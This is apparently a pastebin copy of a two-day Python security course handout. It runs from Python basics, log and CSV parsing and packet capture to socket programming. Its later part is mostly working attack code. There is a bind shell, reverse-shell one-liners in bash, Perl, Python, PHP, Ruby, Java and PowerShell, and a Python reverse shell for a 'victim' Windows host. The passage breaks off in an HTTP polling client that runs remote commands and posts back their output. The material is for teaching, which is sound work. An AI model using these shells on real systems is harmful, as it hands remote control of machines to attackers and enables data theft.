· 8 years ago · May 24, 2018, 04:58 AM
1 ##############################
2----------- ############### # Day 1: Python Fundamentals # ############### -----------
3 ##############################
4
5
6####################
7# Installing Python#
8####################
9Windows
1032-Bit Version
11http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
12
1364-Bit Version
14http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
15
16After you install Python in Windows the next thing you may want to install is IdleX:
17http://idlex.sourceforge.net/features.html
18
19---------------------------Type This-----------------------------------
20
21Linux
22Debian/Ubuntu: sudo apt-get install -y python
23RHEL/CentOS/Fedora: sudo yum install -y python
24
25-----------------------------------------------------------------------
26
27
28After you install Python in Linux the next thing that you will need to do is install idle.
29
30---------------------------Type This-----------------------------------
31
32sudo apt-get install -y idle
33
34-----------------------------------------------------------------------
35
36Open IDLE, and let's just dive right in.
37
38
39
40
41######################################
42# Python Lesson 1: Simple Printing #
43######################################
44
45---------------------------Type This-----------------------------------
46$ python
47
48>>> print "Today we are learning Python."
49
50-----------------------------------------------------------------------
51
52
53
54
55##############################################
56# Python Lesson 2: Simple Numbers and Math #
57##############################################
58
59---------------------------Type This-----------------------------------
60
61>>> 2+2
62
63>>> 6-3
64
65>>> 18/7
66
67>>> 18.0/7
68
69>>> 18.0/7.0
70
71>>> 18/7
72
73>>> 9%4
74
75>>> 8%4
76
77>>> 8.75%.5
78
79>>> 6.*7
80
81>>> 6*6*6
82
83>>> 6**3
84
85>>> 5**12
86
87>>> -5**4
88
89
90-----------------------------------------------------------------------
91
92
93
94###############################
95#Python Lesson 3: Variables #
96###############################
97
98---------------------------Type This-----------------------------------
99
100>>> x=18
101
102>>> x+15
103
104>>> x**3
105
106>>> y=54
107
108>>> x+y
109
110>>> g=input("Enter number here: ")
111 43
112
113>>> g+32
114
115>>> g**3
116
117
118-----------------------------------------------------------------------
119
120
121
122
123
124############################################
125# Python Lesson 4: Modules and Functions #
126############################################
127
128---------------------------Type This-----------------------------------
129
130>>> 5**4
131
132>>> pow(5,4)
133
134>>> abs(-18)
135
136>>> abs(5)
137
138>>> floor(18.7)
139
140>>> import math
141
142>>> math.floor(18.7)
143
144>>> math.sqrt(81)
145
146>>> joe = math.sqrt
147
148>>> joe(9)
149
150>>> joe=math.floor
151
152>>> joe(19.8)
153
154
155
156-----------------------------------------------------------------------
157
158
159
160############################
161# Python Lesson 5: Strings #
162############################
163
164---------------------------Type This-----------------------------------
165
166
167>>> "XSS"
168
169>>> 'SQLi'
170
171>>> "Joe's a python lover"
172
173>>> 'Joe\'s a python lover'
174
175>>> "Joe said \"InfoSec is fun\" to me"
176
177>>> a = "Joe"
178
179>>> b = "McCray"
180
181>>> a, b
182
183>>> a+b
184
185
186-----------------------------------------------------------------------
187
188
189
190
191
192#################################
193# Python Lesson 6: More Strings #
194#################################
195
196---------------------------Type This-----------------------------------
197
198
199>>> num = 10
200
201>>> num + 2
202
203>>> "The number of open ports found on this system is " + num
204
205>>> num = str(18)
206
207>>> "There are " + num + " vulnerabilities found in this environment."
208
209>>> num2 = 46
210
211>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
212
213
214-----------------------------------------------------------------------
215
216
217
218
219
220#########################################
221#Python Lesson 7: Sequences and Lists #
222#########################################
223
224---------------------------Type This-----------------------------------
225
226>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
227
228>>> attacks
229['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
230
231>>> attacks[3]
232'SQL Injection'
233
234>>> attacks[-2]
235'Cross-Site Scripting'
236
237>>> exit()
238
239-----------------------------------------------------------------------
240
241
242
243
244###################################
245# Level 8: Intro to Log Analysis #
246###################################
247
248
249Log into your Linux host then execute the following commands:
250-----------------------------------------------------------------------
251NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
252
253
254
255---------------------------Type This-----------------------------------
256
257wget http://pastebin.com/raw/85zZ5TZX
258
259mv 85zZ5TZX access_log
260
261
262cat access_log | grep 141.101.80.188
263
264cat access_log | grep 141.101.80.187
265
266cat access_log | grep 108.162.216.204
267
268cat access_log | grep 173.245.53.160
269
270----------------------------------------------------------------------
271
272
273
274
275
276Google the following terms:
277 - Python read file
278 - Python read line
279 - Python read from file
280
281
282
283
284################################################################
285#Python Lesson 9: Use Python to read in a file line by line #
286################################################################
287
288
289Reference:
290http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
291
292
293
294---------------------------Type This-----------------------------------
295
296nano logread1.py
297
298
299---------------------------Paste This-----------------------------------
300## Open the file with read only permit
301f = open('access_log', "r")
302
303## use readlines to read all lines in the file
304## The variable "lines" is a list containing all lines
305lines = f.readlines()
306
307print lines
308
309
310## close the file after reading the lines.
311f.close()
312
313----------------------------------------------------------------------
314
315
316
317
318---------------------------Type This-----------------------------------
319python logread1.py
320----------------------------------------------------------------------
321
322
323
324Google the following:
325 - python difference between readlines and readline
326 - python readlines and readline
327
328
329
330
331
332
333
334
335########################################
336#Python Lesson 10: A quick challenge #
337########################################
338
339Can you write an if/then statement that looks for this IP and print the log file line that contains the IP address?
340
341
342141.101.81.187
343
344
345
346
347
348
349---------------------------------------------------------
350Hint 1: Use Python to look for a value in a list
351
352Reference:
353http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
354
355
356
357
358---------------------------------------------------------
359Hint 2: Use Python to prompt for user input
360
361Reference:
362http://www.cyberciti.biz/faq/python-raw_input-examples/
363
364
365
366
367---------------------------------------------------------
368Hint 3: Use Python to search for a string in a list
369
370Reference:
371http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
372
373
374
375
376
377Here is my solution:
378
379---------------------------Type This-----------------------------------
380
381$ python
382>>> f = open('access_log', "r")
383>>> lines = f.readlines()
384>>> ip = '141.101.81.187'
385>>> for string in lines:
386... if ip in string:
387... print(string)
388
389----------------------------------------------------------------------
390
391
392Here is one student's solution - can you please explain each line of this code to me?
393
394
395---------------------------Type This-----------------------------------
396exit()
397nano ip_search.py
398
399---------------------------Paste This-----------------------------------
400#!/usr/bin/python
401
402f = open('access_log')
403
404strUsrinput = raw_input("Enter IP Address: ")
405
406for line in iter(f):
407 ip = line.split(" - ")[0]
408 if ip == strUsrinput:
409 print line
410
411f.close()
412
413----------------------------------------------------------------------
414
415
416
417
418---------------------------Type This-----------------------------------
419python ip_search.py
420----------------------------------------------------------------------
421
422
423
424
425
426
427
428
429Working with another student after class we came up with another solution:
430
431---------------------------Type This-----------------------------------
432nano ip_search2.py
433
434---------------------------Paste This-----------------------------------
435#!/usr/bin/env python
436
437
438# This line opens the log file
439f=open('access_log',"r")
440
441# This line takes each line in the log file and stores it as an element in the list
442lines = f.readlines()
443
444
445# This lines stores the IP that the user types as a var called userinput
446userinput = raw_input("Enter the IP you want to search for: ")
447
448
449
450# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
451for ip in lines:
452 if ip.find(userinput) != -1:
453 print ip
454
455----------------------------------------------------------------------
456
457
458
459---------------------------Type This-----------------------------------
460python ip_search2.py
461----------------------------------------------------------------------
462
463
464##################################################
465# Lession 14: Look for web attacks in a log file #
466##################################################
467
468In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
469Supported attacks:
4701. SQL Injection
4712. Local File Inclusion
4723. Remote File Inclusion
4734. Cross-Site Scripting
474
475
476---------------------------Type This-----------------------------------
477
478wget https://s3.amazonaws.com/infosecaddictsfiles/scan_log.py
479
480----------------------------------------------------------------------
481
482The usage for scan_log.py is simple. You feed it an apache log file.
483
484---------------------------Type This-----------------------------------
485
486cat scan_log.py | less (use your up/down arrow keys to look through the file)
487
488----------------------------------------------------------------------
489
490Explain to me how this script works.
491
492
493
494################################
495# Lesson 15: Parsing CSV Files #
496################################
497
498Dealing with csv files
499
500Reference:
501http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
502
503Type the following commands:
504---------------------------------------------------------------------------------------------------------
505
506---------------------------Type This-----------------------------------
507
508wget https://s3.amazonaws.com/infosecaddictsfiles/class_nessus.csv
509
510----------------------------------------------------------------------
511
512Example 1 - Reading CSV files
513-----------------------------
514#To be able to read csv formated files, we will first have to import the
515#csv module.
516
517
518---------------------------Type This-----------------------------------
519python
520import csv
521with open('class_nessus.csv', 'rb') as f:
522 reader = csv.reader(f)
523 for row in reader:
524 print row
525
526
527----------------------------------------------------------------------
528
529
530
531
532Example 2 - Reading CSV files
533-----------------------------
534
535---------------------------Type This-----------------------------------
536
537vi readcsv.py
538
539---------------------------Paste This-----------------------------------
540#!/usr/bin/python
541import csv # imports the csv module
542import sys # imports the sys module
543
544f = open(sys.argv[1], 'rb') # opens the csv file
545try:
546 reader = csv.reader(f) # creates the reader object
547 for row in reader: # iterates the rows of the file in orders
548 print row # prints each row
549finally:
550 f.close() # closing
551
552
553
554----------------------------------------------------------------------
555
556
557
558Ok, now let's run this thing.
559
560--------------------------Type This-----------------------------------
561python readcsv.py
562
563python readcsv.py class_nessus.csv
564----------------------------------------------------------------------
565
566
567
568
569
570Example 3 - - Reading CSV files
571-------------------------------
572
573---------------------------Type This-----------------------------------
574
575vi readcsv2.py
576
577---------------------------Paste This-----------------------------------
578#!/usr/bin/python
579# This program will then read it and displays its contents.
580
581
582import csv
583
584ifile = open('class_nessus.csv', "rb")
585reader = csv.reader(ifile)
586
587rownum = 0
588for row in reader:
589 # Save header row.
590 if rownum == 0:
591 header = row
592 else:
593 colnum = 0
594 for col in row:
595 print '%-8s: %s' % (header[colnum], col)
596 colnum += 1
597
598 rownum += 1
599
600ifile.close()
601
602
603----------------------------------------------------------------------
604
605
606
607---------------------------Type This-----------------------------------
608
609python readcsv2.py | less
610
611
612----------------------------------------------------------------------
613
614
615
616
617
618/---------------------------------------------------/
619--------------------PARSING CSV FILES----------------
620/---------------------------------------------------/
621
622-------------TASK 1------------
623
624---------------------------Type This-----------------------------------
625
626vi readcsv3.py
627
628---------------------------Paste This-----------------------------------
629#!/usr/bin/python
630import csv
631f = open('class_nessus.csv', 'rb')
632try:
633 rownum = 0
634 reader = csv.reader(f)
635 for row in reader:
636 #Save header row.
637 if rownum == 0:
638 header = row
639 else:
640 colnum = 0
641 if row[3].lower() == 'high':
642 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
643 rownum += 1
644finally:
645 f.close()
646
647-----------------------------------------------------------------------
648
649
650---------------------------Type This-----------------------------------
651
652python readcsv3.py | less
653-----------------------------------------------------------------------
654
655-------------TASK 2------------
656
657---------------------------Type This-----------------------------------
658
659vi readcsv4.py
660-----------------------------------------------------------------------
661
662---------------------------Paste This-----------------------------------
663
664#!/usr/bin/python
665import csv
666f = open('class_nessus.csv', 'rb')
667try:
668 print '/---------------------------------------------------/'
669 rownum = 0
670 hosts = {}
671 reader = csv.reader(f)
672 for row in reader:
673 # Save header row.
674 if rownum == 0:
675 header = row
676 else:
677 colnum = 0
678 if row[3].lower() == 'high' and row[4] not in hosts:
679 hosts[row[4]] = row[4]
680 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
681 rownum += 1
682finally:
683 f.close()
684
685
686python readcsv4.py | less
687
688----------------------------------------------------------------------
689
690
691
692
693
694
695
696
697#################################################
698# Lesson 16: Parsing Packets with Python's DPKT #
699#################################################
700The first thing that you will need to do is install dpkt.
701
702---------------------------Type This-----------------------------------
703
704
705sudo apt-get install -y python-dpkt
706
707----------------------------------------------------------------------
708
709
710
711Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
712Run tcpdump to capture a .pcap file that we will use for the next exercise
713
714---------------------------Type This-----------------------------------
715
716sudo tcpdump -ni eth0 -s0 -w quick.pcap
717
718----------------------------------------------------------------------
719
720--open another command prompt--
721
722---------------------------Type This-----------------------------------
723
724
725wget http://packetlife.net/media/library/12/tcpdump.pdf
726
727----------------------------------------------------------------------
728
729Let's do something simple:
730
731---------------------------Type This-----------------------------------
732
733
734vi quickpcap.py
735
736---------------------------Paste This-----------------------------------
737
738#!/usr/bin/python
739import dpkt;
740
741# Simple script to read the timestamps in a pcap file
742# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
743
744f = open("quick.pcap","rb")
745pcap = dpkt.pcap.Reader(f)
746
747for ts, buf in pcap:
748 print ts;
749
750f.close();
751
752
753----------------------------------------------------------------------
754
755
756Now let's run the script we just wrote
757
758---------------------------Type This-----------------------------------
759
760python quickpcap.py
761
762----------------------------------------------------------------------
763
764
765
766How dpkt breaks down a packet:
767
768Reference:
769http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
770
771 src: the MAC address of SOURCE.
772 dst: The MAC address of DESTINATION
773 type: The protocol type of contained ethernet payload.
774
775The allowed values are listed in the file "ethernet.py",
776such as:
777a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
778b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
779
780
781References:
782http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
783
784
785
786
787
788
789Ok - now let's have a look at pcapparsing.py
790
791---------------------------Type This-----------------------------------
792
793
794sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
795
796----------------------------------------------------------------------
797
798--open another command prompt--
799
800---------------------------Type This-----------------------------------
801
802
803wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
804
805----------------------------------------------------------------------
806
807
808Ok - now let's have a look at pcapparsing.py
809
810
811--------------------------------------------------------------
812
813
814import socket
815import dpkt
816import sys
817f = open('capture-100.pcap','r')
818pcapReader = dpkt.pcap.Reader(f)
819
820for ts,data in pcapReader:
821 ether = dpkt.ethernet.Ethernet(data)
822 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
823 ip = ether.data
824 tcp = ip.data
825 src = socket.inet_ntoa(ip.src)
826 srcport = tcp.sport
827 dst = socket.inet_ntoa(ip.dst)
828 dstport = tcp.dport
829 print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
830
831f.close()
832
833----------------------------------------------------------------------
834
835
836
837OK - let's run it:
838
839---------------------------Type This-----------------------------------
840
841python pcapparsing.py
842
843----------------------------------------------------------------------
844
845
846running this script might throw an error like this:
847
848Traceback (most recent call last):
849 File "pcapparsing.py", line 9, in <module>
850 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
851
852
853If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
854
855
856
857
858Your homework for today...
859
860
861Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
862
863
864
865
866
867
868Your challenge is to fix the Traceback error
869
870---------------------------Paste This-----------------------------------
871
872#!/usr/bin/python
873
874import pcapy
875import dpkt
876import sys
877import socket
878import struct
879
880SINGLE_SHOT = False
881
882# list all the network devices
883pcapy.findalldevs()
884
885iface = "eth0"
886filter = "arp"
887max_bytes = 1024
888promiscuous = False
889read_timeout = 100 # in milliseconds
890
891pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
892pc.setfilter( filter )
893
894# callback for received packets
895def recv_pkts( hdr, data ):
896 packet = dpkt.ethernet.Ethernet( data )
897
898 print type( packet.data )
899 print "ipsrc: %s, ipdst: %s" %( \
900 socket.inet_ntoa( packet.data.spa ), \
901 socket.inet_ntoa( packet.data.tpa ) )
902
903 print "macsrc: %s, macdst: %s " % (
904 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
905 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
906
907if SINGLE_SHOT:
908 header, data = pc.next()
909 sys.exit(0)
910else:
911 packet_limit = -1 # infinite
912 pc.loop( packet_limit, recv_pkts ) # capture packets
913
914----------------------------------------------------------------------
915
916
917##################################
918# Day 1 Homework videos to watch #
919##################################
920Here is your first set of youtube videos that I'd like for you to watch:
921https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
922
923
924########################
925# Day 1 Challenge task #
926########################
927Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
928
929Running the current version of the script may give you an error like this:
930
931Traceback (most recent call last):
932 File "pcapparsing.py", line 9, in <module>
933 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
934
935
936If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
937
938Your challenge task is to fix the Traceback error
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958 #################################
959----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
960 #################################
961
962
963
964
965
966#############################################
967# Lesson 17: Python Sockets & Port Scanning #
968#############################################
969
970---------------------------Type This-----------------------------------
971
972$ sudo /sbin/iptables -F
973
974$ ncat -l -v -p 1234
975
976----------------------------------------------------------------------
977
978
979
980--open another terminal--
981
982---------------------------Type This-----------------------------------
983
984python
985
986>>> import socket
987>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
988>>> s.connect(('localhost', 1234))
989>>> s.send('Hello, world')
990>>> data = s.recv(1024)
991>>> s.close()
992
993>>> print 'Received', data
994
995
996----------------------------------------------------------------------
997
998
999
1000
1001########################################
1002# Lesson 18: TCP Client and TCP Server #
1003########################################
1004
1005---------------------------Type This-----------------------------------
1006
1007
1008vi tcpclient.py
1009
1010---------------------------Paste This-----------------------------------
1011
1012
1013#!/usr/bin/python
1014# tcpclient.py
1015
1016import socket
1017
1018s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1019hostport = ("127.0.0.1", 1337)
1020s.connect(hostport)
1021s.send("Hello\n")
1022buf = s.recv(1024)
1023print "Received", buf
1024
1025
1026
1027----------------------------------------------------------------------
1028
1029
1030---------------------------Type This-----------------------------------
1031
1032
1033
1034
1035vi tcpserver.py
1036
1037
1038---------------------------Paste This-----------------------------------
1039
1040
1041#!/usr/bin/python
1042# tcpserver.py
1043
1044import socket
1045
1046s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1047hostport = ("", 1337)
1048s.bind(hostport)
1049s.listen(10)
1050while 1:
1051 cli,addr = s.accept()
1052 print "Connection from", addr
1053 buf = cli.recv(1024)
1054 print "Received", buf
1055 if buf == "Hello\n":
1056 cli.send("Server ID 1\n")
1057 cli.close()
1058
1059
1060
1061
1062----------------------------------------------------------------------
1063
1064
1065---------------------------Type This-----------------------------------
1066
1067
1068python tcpserver.py
1069
1070
1071--open another terminal--
1072python tcpclient.py
1073
1074----------------------------------------------------------------------
1075
1076########################################
1077# Lesson 19: UDP Client and UDP Server #
1078########################################
1079
1080---------------------------Type This-----------------------------------
1081
1082vi udpclient.py
1083
1084
1085
1086---------------------------Paste This-----------------------------------
1087
1088
1089
1090#!/usr/bin/python
1091# udpclient.py
1092
1093import socket
1094
1095s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1096hostport = ("127.0.0.1", 1337)
1097s.sendto("Hello\n", hostport)
1098buf = s.recv(1024)
1099print buf
1100
1101
1102
1103----------------------------------------------------------------------
1104
1105
1106
1107
1108---------------------------Type This-----------------------------------
1109
1110
1111vi udpserver.py
1112
1113
1114---------------------------Paste This-----------------------------------
1115
1116
1117
1118
1119#!/usr/bin/python
1120# udpserver.py
1121
1122import socket
1123
1124s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1125hostport = ("127.0.0.1", 1337)
1126s.bind(hostport)
1127while 1:
1128 buf, address = s.recvfrom(1024)
1129 print buf
1130 if buf == "Hello\n":
1131 s.sendto("Server ID 1\n", address)
1132
1133
1134----------------------------------------------------------------------
1135
1136
1137---------------------------Type This-----------------------------------
1138
1139
1140python udpserver.py
1141
1142
1143--open another terminal--
1144python udpclient.py
1145
1146----------------------------------------------------------------------
1147
1148
1149######################################
1150# Lesson 20: Bind and Reverse Shells #
1151######################################
1152
1153---------------------------Type This-----------------------------------
1154
1155
1156vi simplebindshell.py
1157
1158---------------------------Paste This-----------------------------------
1159
1160#!/bin/python
1161import os,sys,socket
1162
1163ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1164print '-Creating socket..'
1165port = 31337
1166try:
1167 ls.bind(('', port))
1168 print '-Binding the port on '
1169 ls.listen(1)
1170 print '-Listening, '
1171 (conn, addr) = ls.accept()
1172 print '-Waiting for connection...'
1173 cli= conn.fileno()
1174 print '-Redirecting shell...'
1175 os.dup2(cli, 0)
1176 print 'In, '
1177 os.dup2(cli, 1)
1178 print 'Out, '
1179 os.dup2(cli, 2)
1180 print 'Err'
1181 print 'Done!'
1182 arg0='/bin/sh'
1183 arg1='-a'
1184 args=[arg0]+[arg1]
1185 os.execv(arg0, args)
1186except(socket.error):
1187 print 'fail\n'
1188 conn.close()
1189 sys.exit(1)
1190
1191----------------------------------------------------------------------
1192
1193
1194
1195---------------------------Type This-----------------------------------
1196
1197nc TARGETIP 31337
1198
1199----------------------------------------------------------------------
1200
1201
1202---------------------
1203Preparing the target for a reverse shell
1204
1205---------------------------Type This-----------------------------------
1206
1207$ ncat -lvp 4444
1208
1209--open another terminal--
1210wget https://www.trustedsec.com/files/simple_py_shell.py
1211
1212vi simple_py_shell.py
1213
1214
1215
1216----------------------------------------------------------------------
1217
1218
1219
1220-------------------------------
1221Tricky shells
1222
1223Reference:
1224http://securityweekly.com/2011/10/python-one-line-shell-code.html
1225http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
1226
1227
1228
1229
1230
1231Lots of reverse shells in different languages
1232---------------------------------------------------------------------
1233
1234
1235
1236########
1237# Bash #
1238########
1239
1240---------------------------Type This-----------------------------------
1241
1242
1243bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
1244
1245----------------------------------------------------------------------
1246
1247
1248########
1249# Perl #
1250########
1251
1252---------------------------Type This-----------------------------------
1253
1254
1255perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1256
1257
1258
1259cat perlbackdoor.pl
1260#!/usr/bin/perl
1261use Socket;
1262use FileHandle;
1263$IP = $ARGV[0];
1264$PORT = $ARGV[1];
1265socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
1266connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
1267SOCKET->autoflush();
1268open(STDIN, ">&SOCKET");
1269open(STDOUT,">&SOCKET");
1270open(STDERR,">&SOCKET");
1271system("/bin/sh -i");
1272
1273----------------------------------------------------------------------
1274
1275##########
1276# Python #
1277##########
1278
1279---------------------------Type This-----------------------------------
1280
1281python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1282
1283----------------------------------------------------------------------
1284
1285#######
1286# Php #
1287#######
1288---------------------------Type This-----------------------------------
1289
1290php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
1291
1292----------------------------------------------------------------------
1293
1294########
1295# ruby #
1296########
1297---------------------------Type This-----------------------------------
1298
1299ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1300
1301----------------------------------------------------------------------
1302
1303
1304########
1305# Java #
1306########
1307---------------------------Type This-----------------------------------
1308
1309r = Runtime.getRuntime()
1310p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
1311p.waitFor()
1312
1313
1314exec 5<>/dev/tcp/127.0.0.1/1234
1315
1316
1317cat <&5 | while read line; do $line 2>&5 >&5; done
1318
1319exec 5<>/dev/tcp/127.0.0.1/1234
1320
1321while read line 0<&5; do $line 2>&5 >&5; done
13220<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
1323
1324----------------------------------------------------------------------
1325
1326##############
1327# Powershell #
1328##############
1329---------------------------Type This-----------------------------------
1330
1331powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
1332
1333
1334
1335----------------------------------------------------------------------
1336
1337
1338
1339
1340
1341###############################
1342# Reverse Shell in Python 2.7 #
1343###############################
1344
1345We'll create 2 python files. One for the server and one for the client.
1346
1347- Below is the python code that is running on victim/client Windows machine:
1348
1349---------------------------Paste This-----------------------------------
1350
1351# Client
1352
1353import socket # For Building TCP Connection
1354import subprocess # To start the shell in the system
1355
1356def connect():
1357 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1358 s.connect(('192.168.243.150',8080))
1359
1360 while True: #keep receiving commands
1361 command = s.recv(1024)
1362
1363 if 'terminate' in command:
1364 s.close() #close the socket
1365 break
1366
1367 else:
1368
1369 CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1370 s.send( CMD.stdout.read() ) # send the result
1371 s.send( CMD.stderr.read() ) # incase you mistyped a command.
1372 # we will send back the error
1373
1374def main ():
1375 connect()
1376main()
1377
1378
1379----------------------------------------------------------------------
1380
1381- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
1382
1383---------------------------Paste This-----------------------------------
1384
1385# Server
1386
1387import socket # For Building TCP Connection
1388
1389
1390def connect ():
1391
1392 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1393 s.bind(("192.168.243.150", 8080))
1394 s.listen(1)
1395 conn, addr = s.accept()
1396 print '[+] We got a connection from: ', addr
1397
1398
1399 while True:
1400 command = raw_input("Shell> ")
1401
1402 if 'terminate' in command:
1403 conn.send('termminate')
1404 conn.close() # close the connection with host
1405 break
1406
1407 else:
1408 conn.send(command) #send command
1409 print conn.recv(1024)
1410
1411def main ():
1412 connect()
1413main()
1414
1415----------------------------------------------------------------------
1416
1417- First run server.py code from Ubuntu machine. From command line type:
1418
1419---------------------------Type This-----------------------------------
1420
1421python server.py
1422
1423----------------------------------------------------------------------
1424
1425- then check if 8080 port is open, and if we are listening on 8080:
1426
1427---------------------------Type This-----------------------------------
1428
1429netstat -antp | grep "8080"
1430
1431----------------------------------------------------------------------
1432
1433- Then on victim ( Windows ) unit run client.py code.
1434
1435
1436- Connection will be established, and you will get a shell on Ubuntu:
1437
1438---------------------------Type This-----------------------------------
1439
1440infosecaddicts@ubuntu:~$ python server.py
1441[+] We got a connection from: ('192.168.243.1', 56880)
1442Shell> arp -a
1443
1444Shell> ipconfig
1445
1446Shell> dir
1447----------------------------------------------------------------------
1448
1449
1450##########################################
1451# HTTP based reverse shell in Python 2.7 #
1452##########################################
1453
1454
1455- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
1456- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
1457
1458Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
1459
1460- Install requests package:
1461---------------------------Type This-----------------------------------
1462
1463 python -m pip install requests
1464
1465----------------------------------------------------------------------
1466
1467- Copy and paste below code into client_http.py on your Windows machine:
1468
1469- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
1470
1471---------------------------Paste This-----------------------------------
1472# Client
1473
1474import requests
1475import subprocess
1476import time
1477
1478
1479while True:
1480 req = requests.get('http://192.168.243.150')
1481 command = req.text
1482
1483 if 'terminate' in command:
1484 break
1485
1486 else:
1487 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1488 post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
